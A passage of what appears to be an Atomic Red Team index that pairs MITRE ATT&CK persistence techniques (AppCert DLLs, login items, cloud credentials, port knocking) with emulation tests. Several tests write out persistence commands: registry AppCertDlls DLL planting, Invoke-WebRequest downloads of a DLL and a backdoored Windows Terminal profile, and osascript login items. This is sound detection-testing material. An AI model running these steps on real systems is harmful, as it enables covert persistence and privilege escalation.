          template\n  Rename-Item -Force -Path $copyPath -NewName $docPath -ErrorAction
          SilentlyContinue\n  Write-Host \"The original template has been restored\"\n}\n
          \ else\n{\n  Write-Host \"The original template is present\"\n}\n#Restore
          the original state of the registry key\nif (Test-Path $flagPath1) \n{\n
          \ # The value was originally 0, set back to 0\n  New-ItemProperty -Path
          $registryKey -Name $registryValue -Value $registryData0 -PropertyType DWORD
          -Force | Out-Null\n  Remove-Item -Force $flagPath1 -ErrorAction SilentlyContinue\n
          \ Write-Host \"The original registry state has been restored\"\n} \n  elseif
          (Test-Path $flagPath2)\n{\n  #The value did not previously exist, delete
          the value\n  Remove-ItemProperty -Path $registryKey -Name $registryValue
          | Out-Null\n  Remove-Item -Force $flagPath2 -ErrorAction SilentlyContinue
          | Out-Null\n  Write-Host \"The original registry state has been restored\"\n}\n
          \ else \n{\n  # The value was already 1, do nothing\n  Write-Host \"The
          value $registryValue already existed in $registryKey.\"\n}\n"
  T1546.009:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c
      type: attack-pattern
      created: '2020-01-24T14:47:41.795Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1546.009
        url: https://attack.mitre.org/techniques/T1546/009
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      - url: https://forum.sysinternals.com/appcertdlls_topic12546.html
        description: Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls.
          Retrieved December 18, 2017.
        source_name: Sysinternals AppCertDlls Oct 2007
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Event Triggered Execution: AppCert DLLs'
      description: "Adversaries may establish persistence and/or elevate privileges
        by executing malicious content triggered by AppCert DLLs loaded into processes.
        Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code>
        Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session
        Manager\\</code> are loaded into every process that calls the ubiquitously
        used application programming interface (API) functions <code>CreateProcess</code>,
        <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>,
        or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)\n\nSimilar
        to [Process Injection](https://attack.mitre.org/techniques/T1055), this value
        can be abused to obtain elevated privileges by causing a malicious DLL to
        be loaded and run in the context of separate processes on the computer. Malicious
        AppCert DLLs may also provide persistence by continuously being triggered
        by API activity. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: "Monitor DLL loads by processes, specifically looking for
        DLLs that are not recognized or not normally loaded into a process. Monitor
        the AppCertDLLs Registry value for modifications that do not correlate with
        known software, patch cycles, etc. Monitor and analyze application programming
        interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx
        and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools
        such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting
        location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls
        Oct 2007)\n\nLook for abnormal process behavior that may be due to a process
        loading a malicious DLL. Data and events should not be viewed in isolation,
        but as part of a chain of behavior that could lead to other activities, such
        as making network connections for Command and Control, learning details about
        the environment through Discovery, and conducting Lateral Movement."
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_effective_permissions:
      - Administrator
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1546.009
    atomic_tests:
    - name: Create registry persistence via AppCert DLL
      auto_generated_guid: a5ad6104-5bab-4c43-b295-b4c44c7c6b05
      description: "Creates a new 'AtomicTest' value pointing to an AppCert DLL in
        the AppCertDlls registry key. \nOnce the computer restarted, the DLL will
        be loaded in multiple processes and write an \n'AtomicTest.txt' file in C:\\Users\\Public\\
        to validate that the DLL executed succesfully.\n\nReference: https://skanthak.homepage.t-online.de/appcert.html\n"
      supported_platforms:
      - windows
      input_arguments:
        dll_path:
          description: path of dll to use
          type: path
          default: PathToAtomicsFolder\T1546.009\bin\AtomicTest.dll
        reboot:
          description: Set value to $true if you want to automatically reboot the
            machine
          type: string
          default: "$false"
      dependency_executor_name: powershell
      dependencies:
      - description: 'File to copy must exist on disk at specified location (#{dll_path})

          '
        prereq_command: 'if (Test-Path "#{dll_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{dll_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.009/bin/AtomicTest.dll" -OutFile "#{dll_path}"
      executor:
        command: "Copy-Item \"#{dll_path}\" C:\\Users\\Public\\AtomicTest.dll -Force\nreg
          add \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls\"
          /v \"AtomicTest\" /t REG_EXPAND_SZ /d \"C:\\Users\\Public\\AtomicTest.dll\"
          /f\nif(#{reboot}){Restart-Computer} \n"
        cleanup_command: |
          reg delete "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /f
          Remove-Item C:\Users\Public\AtomicTest.dll -Force
          Remove-Item C:\Users\Public\AtomicTest.txt -Force
        name: powershell
        elevation_required: true
  T1098.005:
    technique:
      modified: '2023-10-03T17:38:39.065Z'
      name: Device Registration
      description: "Adversaries may register a device to an adversary-controlled account.
        Devices may be registered in a multifactor authentication (MFA) system, which
        handles authentication to the network, or in a device management system, which
        handles device access and compliance.\n\nMFA systems, such as Duo or Okta,
        allow users to associate devices with their accounts in order to complete
        MFA requirements. An adversary that compromises a user’s credentials may enroll
        a new device in order to bypass initial MFA requirements and gain persistent
        access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading
        FireEye SolarWinds) In some cases, the MFA self-enrollment process may require
        only a username and password to enroll the account's first device or to enroll
        a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly,
        an adversary with existing access to a network may register a device to Azure
        AD and/or its device management system, Microsoft Intune, in order to access
        sensitive data or resources while bypassing conditional access policies.(Citation:
        AADInternals - Device Registration)(Citation: AADInternals - Conditional Access
        Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Azure AD may
        be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)
        campaigns via intra-organizational emails, which are less likely to be treated
        as suspicious by the email client.(Citation: Microsoft - Device Registration)
        Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)
        on an Azure AD tenant by registering a large number of devices.(Citation:
        AADInternals - BPRT)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Pawel Partyka, Microsoft 365 Defender
      - Mike Moran
      - Joe Gumke, U.S. Bank
      - Arad Inbar, Fidelis Security
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Azure AD
      - Windows
      - SaaS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Active Directory: Active Directory Object Creation'
      - 'User Account: User Account Modification'
      type: attack-pattern
      id: attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215
      created: '2022-03-04T18:30:38.989Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1098/005
        external_id: T1098.005
      - source_name: CISA MFA PrintNightmare
        description: Cybersecurity and Infrastructure Security Agency. (2022, March
          15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting
          Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability.
          Retrieved March 16, 2022.
        url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a
      - source_name: Mandiant APT29 Microsoft 365 2022
        description: 'Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29
          Continues Targeting Microsoft 365. Retrieved February 23, 2023.'
        url: https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft
      - source_name: AADInternals - Conditional Access Bypass
        description: Dr. Nestori Syynimaa. (2020, September 6). Bypassing conditional
          access by faking device compliance. Retrieved March 4, 2022.
        url: https://o365blog.com/post/mdm
      - source_name: AADInternals - BPRT
        description: 'Dr. Nestori Syynimaa. (2021, January 31). BPRT unleashed: Joining
          multiple devices to Azure AD and Intune. Retrieved March 4, 2022.'
        url: https://o365blog.com/post/bprt/
      - source_name: AADInternals - Device Registration
        description: Dr. Nestori Syynimaa. (2021, March 3). Deep-dive to Azure AD
          device join. Retrieved March 9, 2022.
        url: https://o365blog.com/post/devices/
      - source_name: DarkReading FireEye SolarWinds
        description: 'Kelly Jackson Higgins. (2021, January 7). FireEye''s Mandia:
          ''Severity-Zero Alert'' Led to Discovery of SolarWinds Attack. Retrieved
          April 18, 2022.'
        url: https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack
      - source_name: Microsoft - Device Registration
        description: 'Microsoft 365 Defender Threat Intelligence Team. (2022, January
          26). Evolved phishing: Device registration trick adds to phishers’ toolbox
          for victims without MFA. Retrieved March 4, 2022.'
        url: https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa
      - source_name: Microsoft DEV-0537
        description: Microsoft. (2022, March 22). DEV-0537 criminal actor targeting
          organizations for data exfiltration and destruction. Retrieved March 23,
          2022.
        url: https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1542:
    technique:
      modified: '2024-02-26T14:26:14.364Z'
      name: Pre-OS Boot
      description: |-
        Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)

        Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.

        Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - Windows
      - Network
      - macOS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Drive: Drive Modification'
      - 'Network Traffic: Network Connection Creation'
      - 'Process: OS API Execution'
      - 'Driver: Driver Metadata'
      - 'Command: Command Execution'
      - 'Firmware: Firmware Modification'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host intrusion prevention systems
      - File monitoring
      type: attack-pattern
      id: attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e
      created: '2019-11-13T14:44:49.439Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1542
        external_id: T1542
      - source_name: ITWorld Hard Disk Health Dec 2014
        description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's
          health and make sure it's not already dying on you. Retrieved October 2,
          2018.
        url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
      - source_name: Wikipedia Booting
        description: Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.
        url: https://en.wikipedia.org/wiki/Booting
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1547.015:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3
      type: attack-pattern
      created: '2021-10-05T21:26:15.081Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1547.015
        url: https://attack.mitre.org/techniques/T1547/015
      - source_name: Open Login Items Apple
        url: https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac
        description: Apple. (n.d.). Open items automatically when you log in on Mac.
          Retrieved October 1, 2021.
      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html
        description: Apple. (2016, September 13). Adding Login Items. Retrieved July
          11, 2017.
        source_name: Adding Login Items
      - source_name: SMLoginItemSetEnabled Schroeder 2013
        url: https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/
        description: Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified.
          Retrieved October 5, 2021.
      - source_name: Launch Services Apple Developer
        url: https://developer.apple.com/documentation/coreservices/launch_services
        description: Apple. (n.d.). Launch Services. Retrieved October 5, 2021.
      - source_name: ELC Running at startup
        url: https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/
        description: 'hoakley. (2018, May 22). Running at startup: when to use a Login
          Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.'
      - source_name: Login Items AE
        url: https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788
        description: Apple. (n.d.). Login Items AE. Retrieved October 4, 2021.
      - source_name: Startup Items Eclectic
        url: https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/
        description: hoakley. (2021, September 16). How to run an app or tool at startup.
          Retrieved October 5, 2021.
      - source_name: hexed osx.dok analysis 2019
        url: http://www.hexed.in/2019/07/osxdok-analysis.html
        description: fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October
          4, 2021.
      - source_name: Add List Remove Login Items Apple Script
        url: https://gist.github.com/kaloprominat/6111584
        description: 'kaloprominat. (2013, July 30). macos: manage add list remove
          login items apple script. Retrieved October 5, 2021.'
      - url: https://objective-see.com/blog/blog_0x25.html
        description: Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September
          21, 2018.
        source_name: objsee mac malware 2017
      - source_name: CheckPoint Dok
        url: https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/
        description: Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it
          wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.
      - source_name: objsee netwire backdoor 2019
        url: https://objective-see.com/blog/blog_0x44.html
        description: Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved
          October 1, 2021.
      - source_name: objsee block blocking login items
        url: https://objective-see.com/blog/blog_0x31.html
        description: Patrick Wardle. (2018, July 23). Block Blocking Login Items.
          Retrieved October 1, 2021.
      - source_name: sentinelone macos persist Jun 2019
        url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
        description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS.
          Retrieved September 10, 2019.
      - source_name: Launch Service Keys Developer Apple
        url: https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1
        description: Apple. (2018, June 4). Launch Services Keys. Retrieved October
          5, 2021.
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Boot or Logon Autostart Execution: Login Items'
      description: |-
        Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.

        Login items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.

        Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application “System Events” to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: |-
        All login items created via shared file lists are viewable by using the System Preferences GUI or in the <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code> file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.

        Otherwise, login Items are located in <code>Contents/Library/LoginItems</code> within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)

        Monitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1547.015
    atomic_tests:
    - name: Persistence by modifying Windows Terminal profile
      auto_generated_guid: ec5d76ef-82fe-48da-b931-bdb25a62bc65
      description: Modify Windows Terminal settings.json file to gain persistence.
        [Twitter Post](https://twitter.com/nas_bench/status/1550836225652686848)
      supported_platforms:
      - windows
      input_arguments:
        calculator:
          description: Test program used to imitate a maliciously called program.
          type: string
          default: calculator.exe
        settings_json_def:
          description: Default file for Windows Terminal to replace the default profile
            with a backdoor to call another program.
          type: path
          default: "~\\AppData\\Local\\Packages\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\LocalState\\settings.json"
        settings_json_tmp:
          description: Temp file for Windows Terminal.
          type: path
          default: "~\\AppData\\Local\\Temp\\settings.json"
        wt_exe:
          description: Windows Terminal executable.
          type: path
          default: "~\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\wt.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Windows Terminal must be installed

          '
        prereq_command: 'if (Test-Path #{wt_exe}) {exit 0} else {exit 1}

          '
        get_prereq_command: '$(rm ~\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalState\StoreEdgeFD\installed.db
          -ErrorAction Ignore; Write-Output ""; $?) -and $(winget install --id=Microsoft.WindowsTerminal)

          '
      executor:
        command: |
          mv #{settings_json_def} #{settings_json_tmp}
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.015/src/settings.json?raw=true" -OutFile "#{settings_json_def}"
          wt.exe
        cleanup_command: |
          mv -Force #{settings_json_tmp} #{settings_json_def}
          taskkill /F /IM "#{calculator}" > $null
        name: powershell
    - name: Add macOS LoginItem using Applescript
      auto_generated_guid: 716e756a-607b-41f3-8204-b214baf37c1d
      description: |
        Runs osascript on a file to create new LoginItem for current user.
        NOTE: Will popup dialog prompting user to Allow or Deny Terminal.app to control "System Events"
        Therefore, it can't be automated until the TCC is granted.
        The login item launches Safari.app when user logs in, but there is a cleanup script to remove it as well.
        In addition to the `osascript` Process Events, file modification events to
        `/Users/*/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm` should be seen.
      supported_platforms:
      - macos
      input_arguments:
        scriptfile:
          description: path to Applescript source to add Safari LoginItem.
          type: string
          default: PathToAtomicsFolder/T1547.015/src/add_login_item.osa
        cleanup_script:
          description: path to Applescript source to delete Safari LoginItem.
          type: string
          default: PathToAtomicsFolder/T1547.015/src/remove_login_item.osa
      executor:
        command: 'osascript #{scriptfile}

          '
        cleanup_command: 'osascript #{cleanup_script}

          '
        name: bash
  T1205.001:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd
      type: attack-pattern
      created: '2020-07-01T18:23:25.002Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1205.001
        url: https://attack.mitre.org/techniques/T1205/001
      - url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
          backdoor. Retrieved October 13, 2018.'
        source_name: Hartrell cd00r 2002
      modified: '2022-05-11T14:00:00.188Z'
      name: Port Knocking
      description: |-
        Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

        This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

        The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: Record network packets sent to and from the system, looking
        for extraneous packets that do not belong to established flows.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1098.001:
    technique:
      modified: '2024-02-28T14:35:00.862Z'
      name: 'Account Manipulation: Additional Cloud Credentials'
      description: "Adversaries may add adversary-controlled credentials to a cloud
        account to maintain persistent access to victim accounts and instances within
        the environment.\n\nFor example, adversaries may add credentials for Service
        Principals and Applications in addition to existing legitimate credentials
        in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue
        Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include
        both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance)
        With sufficient permissions, there are a variety of ways to add credentials
        including the Azure Portal, Azure command line interface, and Azure or Az
        PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn
        infrastructure-as-a-service (IaaS) environments, after gaining access through
        [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries
        may generate or import their own SSH keys using either the <code>CreateKeyPair</code>
        or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login
        ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows
        persistent access to instances within the cloud environment without further
        usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation:
        Expel Behind the Scenes)\n\nAdversaries may also use the <code>CreateAccessKey</code>
        API in AWS or the <code>gcloud iam service-accounts keys create</code> command
        in GCP to add access keys to an account. If the target account has different
        permissions from the requesting account, the adversary may also be able to
        escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation:
        Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel
        2.0) For example, in Azure AD environments, an adversary with the Application
        Administrator role can add a new set of credentials to their application's
        service principal. In doing so the adversary would be able to access the service
        principal’s roles and permissions, which may be different from those of the
        Application Administrator.(Citation: SpecterOps Azure Privilege Escalation)
        \n\nIn AWS environments, adversaries with the appropriate permissions may
        also use the `sts:GetFederationToken` API call to create a temporary set of
        credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606)
        tied to the permissions of the original user account. These temporary credentials
        may remain valid for the duration of their lifetime even if the original account’s
        API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation
        Persistence)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Expel
      - Oleg Kolesnikov, Securonix
      - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
      - Zur Ulianitzky, XM Cyber
      - Alex Soler, AttackIQ
      - Dylan Silva, AWS Security
      - Arad Inbar, Fidelis Security
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.

        Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - IaaS
      - Azure AD
      - SaaS
      x_mitre_version: '2.7'
      x_mitre_data_sources:
      - 'User Account: User Account Modification'
      type: attack-pattern
      id: attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd
      created: '2020-01-19T16:10:15.008Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1098/001
        external_id: T1098.001
      - source_name: Crowdstrike AWS User Federation Persistence
        description: " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries
          Can Persist with AWS User Federation. Retrieved March 10, 2023."
        url: https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/
      - source_name: Expel IO Evil in AWS
        description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding
          Evil in AWS. Retrieved June 25, 2020.
        url: https://expel.io/blog/finding-evil-in-aws/
      - source_name: SpecterOps Azure Privilege Escalation
        description: Andy Robbins. (2021, October 12). Azure Privilege Escalation
          via Service Principal Abuse. Retrieved April 1, 2022.
        url: https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
      - source_name: Demystifying Azure AD Service Principals
        description: Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service
          Principals. Retrieved January 19, 2020.
        url: https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/
      - source_name: GCP SSH Key Add
        description: Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved
          October 1, 2020.
